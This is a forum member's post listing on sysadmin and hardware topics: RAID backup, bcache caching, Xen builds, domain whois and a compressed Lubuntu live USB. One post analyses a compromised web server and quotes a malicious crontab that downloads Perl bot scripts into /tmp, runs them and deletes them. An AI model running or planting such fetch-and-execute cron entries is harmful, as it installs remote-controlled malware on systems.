Show Posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.

Topics - Pinako

Pages: [1] 2 3 ... 6
Technical Help & Server Administration / Using RAID for backup?
« on: January 06, 2015, 01:14:05 AM »
Everyone knows that RAID is not backup, but I've sometimes wanted to do this:
  • maintain some data
  • periodically, plug in a backup disk to mirror all the things
  • somehow, copy only the updated data to save time
I know that there are many tools for this, including rsync, but I think mdadm might also do the trick: it mirrors stuff, using a write-intent bitmap to speed things up. Who does this?

Technical Help & Server Administration / how does one do structured wiring?
« on: November 28, 2014, 12:54:03 PM »
I'm preparing some shiny new office space, and I figured I'd run some cat6/6a cables all over the place. I currently just snake a bunch of solid-core UTP cables above the ceiling to plug directly into a switch and other networking equipment: no patch panels, no wall plates, etc. It works well because the topology doesn't change much, the mess is easily concealed using raceways and dropped ceilings, and everything's easy to access for debugging.

The new place would have a dozen rooms and 1-3 drops/room. What's the right™ way to do this, and why?

3 went down last night, so I decided to investigate. When I logged in, I found:

$ ps aux | grep apache
www-data  3454  0.0  0.8  32032  4168 ?        S    Sep23   0:00 /usr/bin/apachessl
www-data  9236  0.0  0.8  32032  4172 ?        S    Sep23   0:00 /usr/bin/apachessl
www-data  9250  0.0  0.8  32032  4172 ?        S    Sep23   0:00 /usr/bin/apachessl
www-data  9264  0.0  0.8  32032  4172 ?        S    Sep23   0:00 /usr/bin/apachessl
... ... ...

... and so on. There were dozens of processes named /usr/bin/apachessl and no memory left. All the processes were owned by www-data (the web server's account) and children of init (i.e. daemonized). When I killed these processes, they returned after a few minutes. At first glance, one might conclude that something was making the web server fork out of control.

The kicker was that 1) I use nginx, 2) I don't have apache installed, and 3) there's no /usr/bin/apachessl on the filesystem. Wait, what?

Suspecting that some rogue process was renaming itself to avoid detection, I dug around under /proc to locate the executable image. It turned out to be none other than the Perl interpreter. This was a Perl script.

Checking my crontabs, I found:

$ cat /var/spool/cron/crontabs/www-data
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (- installed on Sun Sep 14 02:20:01 2014)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
*/3 * * * * cd /tmp;wget;curl -O;perl abc.txt;rm -f abc.txt
*/30 * * * * cd /tmp;wget;curl -O;perl xyz.txt;rm -f xyz.txt

Whoa! I don't remember installing this crontab. Here's a pastebin mirror of abc.txt. Doesn't it look like a bot that calls home to an IRC server? Yet, this is no ordinary IRC server: it runs on port 8080 and speaks HTTP at first (fooling some intrusion detection systems), but quickly switches to IRC. Unfortunately, I wasn't able to retrieve xyz.txt.

So I killed all the rogue processes, cleaned up the crontab, and rebooted; so far, the processes haven't returned. I also updated/reinstalled Wordpress for good luck :)

What do you think?

Show Off Your Site / weekend project: multiplayer youtube audio
« on: May 05, 2014, 09:11:08 PM »
Remember It's dead now :( but I thought it was fun, so I wanted to clone it while learning some new tech.

It's fun :)

How this works:
- join a channel to synchronize music with friends!
- add songs from YouTube and SoundCloud (other services in the pipeline)
- your favorites are automatically requested
- the most requested songs play first

How this is different:
- pulls audio content directly from YouTube, saving my bandwidth
- pulls only audio content from YouTube, saving your bandwidth

What you need:
- modern browser with HTML5 audio support
- AAC/MP4 audio codec
- this means chrome, safari, firefox on windows, IE9

Enjoy :D

General Chat / jam with me? redux
« on: April 14, 2014, 10:40:25 PM »
Remember that? Icecast is too mainstream. I'm experimenting with mpd's httpd interface :)

Now playing: uplifting trance

Since bcache was merged into the mainline Linux kernel (3.10), I wanted to try! So here's the situation:
  • 32 GB SSD (Samsung PM830 mSATA)
  • 500 GB mechanical disk (5400 RPM)
    • 12 GB compressed btrfs partition for the OS
    • everything else as ext4 for the data

Out of the box, bcache starts conservatively in writethrough mode, waiting for writes to commit to the backing device and therefore only providing read caching. I realized that I didn't care much about the OS, so I switched it to writeback, enabling write caching. Then I figured that a new SSD wouldn't fail so soon, and also switched the data partition into writeback mode. I'd be a little sad if that partition broke, but the mission-critical stuff is stored on another host with RAID and nightly backups.

This setup practically flies, but it's risky.

What's your caching policy? Should I be a good boy and go back to writethrough? Is there any way to predict (with any confidence) when the SSD would fail? :D

General Chat / buying a new laptop computer
« on: November 23, 2013, 02:17:04 PM »
It's that time of the year, so why not? I'm comparingThey both hit all the points of parity for me, but the main differentiators that I could see are:
  • ASUS: keyboard with numpad
  • ASUS: gigabit ethernet (vs... apparently not?)
  • ASUS: includes VGA port
  • ASUS: easy to access internal parts (vs... need to take the whole thing apart to replace the disk/battery)
  • ASUS: will probably cost a bit less
  • Dell: i5-3337U (vs i5-3317U)
  • Dell: backlit keyboard
  • Dell: touchpad with discrete buttons
  • Dell: includes optical drive
  • Dell: 32 GB SSD (vs 24 GB)
  • Dell: 7 hour battery life (vs 5 hours)
I'd like it to function reasonably well for a half-decade, for office work and light gaming. The 6-year-old Toshiba I'm using now has been working pretty well so far, but the battery is on the way out. I've popped open the back panel ~3 times over 6 years to add RAM and swap out the disk, so I don't get too crazy with hardware customization, but this Dell teardown video looks really daunting. I don't see myself using the optical drive very much, but the larger SSD and superior battery look useful. And I'm not sure what's the deal with GigE on the Dell. What would you recommend? See anything that'd push you either way?

Mobile Devices / So, BlackBerry 10...
« on: January 31, 2013, 06:14:36 PM »
... who's getting one? And RIM has renamed itself to BlackBerry; so confusing.

So I just happened to check on a domain name that I was interested in, and saw that it recently dropped. According to the registrar (, which is apparently affiliated with Moniker?):

Domain Name: LLLL.COM
Contact: [email protected]

Domain servers in listed order:

Record created on:        2011-01-23 18:01:30.473
Database last updated on: 2012-11-28 17:23:04.627
Domain Expires on:        2013-01-10 14:56:04.0

But according to InterNIC/Verisign:

Domain Name: LLLL.COM
Whois Server:
Referral URL:
Name Server: 70185-NS1.NDOVERDRIVE.COM
Name Server: 70185-NS2.NDOVERDRIVE.COM
Status: clientDeleteProhibited
Status: clientTransferProhibited
Status: clientUpdateProhibited
Updated Date: 21-jan-2013
Creation Date: 10-jan-2011
Expiration Date: 10-jan-2014

I'm somewhat of a n00b, so I was hoping for some guidance and clarification. Does this mean that even though the previous holder did not renew the domain, is still hanging onto it for whatever reason? Should I wait or pay extra to "backorder" with Moniker/SnapNames?

General Chat / PortableApps/Lubuntu persistent live USB
« on: January 20, 2013, 06:58:20 PM »
I have an old 2GB USB stick lying around, and figured I'd try something fun -- a persistent Linux setup that also doubles as a Windows disk with PortableApps on it. The easy way would be to just use unetbootin, but then I'd end up with a system that's difficult to update and all kinds of other troubles.

I started by making two partitions, one for Windows and one for Linux. Windows only recognizes the first partition on a removable disk anyway, and with some trickery, we could use that same partition as a home partition for Linux. The trouble is that a fresh installation of Lubuntu uses more than 2GB, and that's never going to fit. Btrfs compression to the rescue ;) Here goes:

1. make a 0.5GB NTFS partition and a 1.5GB Btrfs partition

2. start the Lubuntu installer
Here, we run into a bit of trouble; when the installer mounts the Btrfs partition, it does not enable compression (bummer!). To work around this, launch a shell and run sudo watch -n 1 mount -o remount,compress /target before the installer starts writing files to the partition. At first, there may be errors to the effect that /target is not mounted; as soon as the errors disappear, hit ^C to stop trying to remount. Running mount at this point confirms that compression is enabled.

3. mount the target partition again and edit etc/fstab to add the compress option

4. reboot into the newly-installed system
Now would be a good time to set up the home partition. First, run sudo blkid to discover the UUID of the Windows partition. Since neither NTFS nor FAT32 is POSIX-compliant, we'll need to install fuse-posixovl. Then, edit /etc/fstab again to add (assuming NTFS):
Code: [Select]
UUID=<uuid> /home ntfs defaults 0 2There might be an existing line for /home pointing to a Btrfs subvolume; remove it. Then edit /etc/rc.local to add (before the exit line):
Code: [Select]
mount.posixovl /home -- -o allow_otherNow mount that partition somewhere and create your home directory in it:
Code: [Select]
sudo mount /dev/sdXY /mnt
sudo mount.posixovl /mnt -- -o allow_other
sudo cp -a /etc/skel /mnt/<user>
sudo chown -R <user>:<user> /mnt/<user>

5. reboot and enjoy!
At this point, you may remove the @home subvolume. If grub tells you that "sparse file not allowed", try this fix.

This may be old news, but it's been all over the Interwebs today. It seems that Adobe has decommissioned some of its activation servers, and has been considerate enough to let folks download alternative software builds that do not require activation:

When trying to activate your Creative Suite 2, Acrobat 7, or Macromedia products you may receive an error that the Activation server is unavailable. As of December 15th the activation servers for these products will be shut down. The activation server being shut down will not affect currently installed and activated Adobe software. You will only face this difficulty if you need to reactivate the software. To remedy this difficulty we have made available a version of these software titles that does not require activation.

Since the download page is effectively getting DDoS'd at the moment, you might want to use a mirror instead. Remember, you are only entitled to use this software if you hold existing licenses; enjoy responsibly!

General Chat / xen host (making)
« on: December 06, 2012, 09:29:33 PM »
It's that time of year again, so I'm looking to build a local server that (1) hosts files (2) hosts my random weekend projects even though I don't do weekends anymore (3) bridges a couple of subnets (4) runs Windows apps. Here's what's inside (I think):

$50 Rosewill R379-M Black/ Silver 0.8mm SGCC Steel Slim MicroATX Computer Case with ATX12V Flex 300W Power Supply
$30 Kingston HyperX Blu Red Series 8GB 240-Pin DDR3 SDRAM DDR3 1600 Desktop Memory Model KHX16C10B1R/8
$45 BIOSTAR H61MGC LGA 1155 Intel H61 Micro ATX Intel Motherboard
$45 Intel G540 CPU 2.50 GHZ 2M CACHE 2.5 2 LGA 1155 Processor (BX80623G540)
... and a random disk that I have lying around.

Basically, it's going to be a budget box for ~$170 modulo cables/shipping. How many VM's could I spin up without melting the poor lil Celeron? ;)

General Chat / Ingress
« on: November 18, 2012, 06:51:13 PM »
I got my Ingress activation code late last night; alas, it was too late to collect XM and capture portals without getting shot at. But I gave it a try this afternoon and it was not too shabby!

Who else is playing? I might be able to snag some extra activation codes.

The Ingress has begun.

Life seems "normal" but your world is being infiltrated. A mysterious energy has been unlocked by a team of scientists in Europe and is spreading around the world. The origin and purpose of this force is unknown, but some researchers believe it is influencing the way we think. We must control it or it will control us.

There are two factions. The Enlightened seek to spread this influence. The Resistance struggle to protect what's left of our humanity.

The World is the Game
Move through the real world using your Android device and the Ingress app to discover and tap sources of this mysterious energy, acquire objects to aid in your quest, deploy tech to capture territory, and ally with other players to advance the cause of the Enlightened or the Resistance.

The struggle is being played out globally. Track the progress of players around the world, plan your next steps, and communicate with others using the Intel Map.

What is the Niantic Project?
Is this just a game? An Investigation Board filled with cryptic clues and secret codes awaits. Powerful secrets and game tech are there to be unlocked.

Bring your Friends
The struggle to save the planet spans the entire world. Groups of people acting together can be more effective than individuals acting alone. And cooperation across neighborhoods, cities, and countries will be needed to achieve the ultimate victory.

Hosting Choices / ChunkHost (freemium Xen PV)
« on: November 06, 2012, 08:44:29 PM »
It seems that at least one hosting provider is trying to emulate the Dropbox model. ChunkHost starts you off with a 128MB Xen instance for free, which grows as you refer other users; unfortunately, you don't get any bonuses for using somebody's referral link. After waiting quite a while and forgetting all about it, I finally have an instance to play with:

RAM: 128MB
disk: 3GB
data: 35GB/month

It's not top-of-the-line, but it seems usable. 128MB may seem minuscule to folks who are more familiar with OpenVZ, but Xen's superior memory management actually lets you do a lot more. There was pretty bad disk I/O contention yesterday, when (I'm assuming) they set up the host node containing my account, but it's mostly resolved by now.

Anyway, enjoy:
... and if you feel like helping me get a bigger chunk:

General Chat / Ubuntu 12.10/13.04
« on: October 16, 2012, 01:22:42 AM »

I don't know how many of you still use Ubuntu, but it's almost time for an upgrayedd. I'm looking forward to installing Kubuntu 13.04 and Xubuntu 12.10; but this time, I'm actually planning to wait a few days, at least until I get my new disk to install everything on.

General Chat / There are stupid people EVERYWHERE...
« on: October 10, 2012, 06:53:58 PM »
... but if you experience a disproportionate amount of stupidity, it might be time to move to a less stupid neighborhood. or watch a less stupid channel. or read a less stupid newspaper. especially if it is encroaching upon your quality of life.

life is beautiful; just sayin'.

General Chat / firefox command line
« on: August 30, 2012, 06:47:19 PM »
Apparently, Firefox 16 (now on the Beta channel) is getting a command line interface. It works like this...

Command Line in the Firefox 16 Developer Toolbar

Fun, right?

General Chat / so i'm messing around with this ovh dedi
« on: July 19, 2012, 07:36:52 PM »
It's free for a month, and here's what we've got:

$ free -g
             total       used       free     shared    buffers     cached
Mem:            15          3         12          0          0          2
-/+ buffers/cache:          0         14
Swap:            1          0          1

$ df -h
Filesystem            Size  Used Avail Use% Mounted on
/dev/md1               10G  2.2G  7.4G  23% /
tmpfs                 7.8G     0  7.8G   0% /lib/init/rw
udev                   10M  240K  9.8M   3% /dev
tmpfs                 7.8G     0  7.8G   0% /dev/shm
/dev/md2              921G  8.0G  867G   1% /home

$ sudo hdparm -Tt /dev/md2
 Timing cached reads:   11978 MB in  2.00 seconds = 5991.38 MB/sec
 Timing buffered disk reads: 612 MB in  3.00 seconds = 203.70 MB/sec

$ dd if=/dev/zero of=test bs=64k count=16k conv=fdatasync
16384+0 records in
16384+0 records out
1073741824 bytes (1.1 GB) copied, 6.64353 s, 162 MB/s

$ sudo mdadm --detail /dev/md2
        Version : 0.90
  Creation Time : Thu Jul 19 16:21:26 2012
     Raid Level : raid1
     Array Size : 965746624 (921.01 GiB 988.92 GB)
  Used Dev Size : 965746624 (921.01 GiB 988.92 GB)
   Raid Devices : 2
  Total Devices : 2
Preferred Minor : 2
    Persistence : Superblock is persistent

    Update Time : Thu Jul 19 20:36:00 2012
          State : clean
 Active Devices : 2
Working Devices : 2
 Failed Devices : 0
  Spare Devices : 0

           UUID : 71a0e091:9786ae38:a4d2adc2:26fd5302
         Events : 0.5

    Number   Major   Minor   RaidDevice State
       0       8        2        0      active sync   /dev/sda2
       1       8       18        1      active sync   /dev/sdb2

$ cat /proc/cpuinfo
processor       : 0
vendor_id       : GenuineIntel
cpu family      : 6
model           : 42
model name      : Intel(R) Core(TM) i3-2130 CPU @ 3.40GHz
stepping        : 7
microcode       : 0x25
cpu MHz         : 3400.000
cache size      : 3072 KB
physical id     : 0
siblings        : 4
core id         : 0
cpu cores       : 2
apicid          : 0
initial apicid  : 0
fpu             : yes
fpu_exception   : yes
cpuid level     : 13
wp              : yes
flags           : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc aperfmperf pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm pcid sse4_1 sse4_2 popcnt tsc_deadline_timer xsave avx lahf_lm arat epb xsaveopt pln pts dts tpr_shadow vnmi flexpriority ept vpid
bogomips        : 6784.78
clflush size    : 64
cache_alignment : 64
address sizes   : 36 bits physical, 48 bits virtual
power management:

(2 cores, 4 threads)

... anything else?

General Chat / this is why i love java
« on: July 01, 2012, 03:10:04 PM »
Here I am, staring at an Android project that's open in Eclipse. I'm not actually doing anything, but I notice that my CPU's getting pegged to the max. Apparently, there's a Java process (belonging to Eclipse) claiming 100% of the CPU time. So I promptly renice it up to +19, which frees up the processor for other jobs; however:

Therefore, I ask: WTF?

General Chat / installing linux voids newegg warranty
« on: June 12, 2012, 01:03:54 PM »
Apparently, installing an operating system on a computer purchased from Newegg constitutes improper use or missing accessories.


Pages: [1] 2 3 ... 6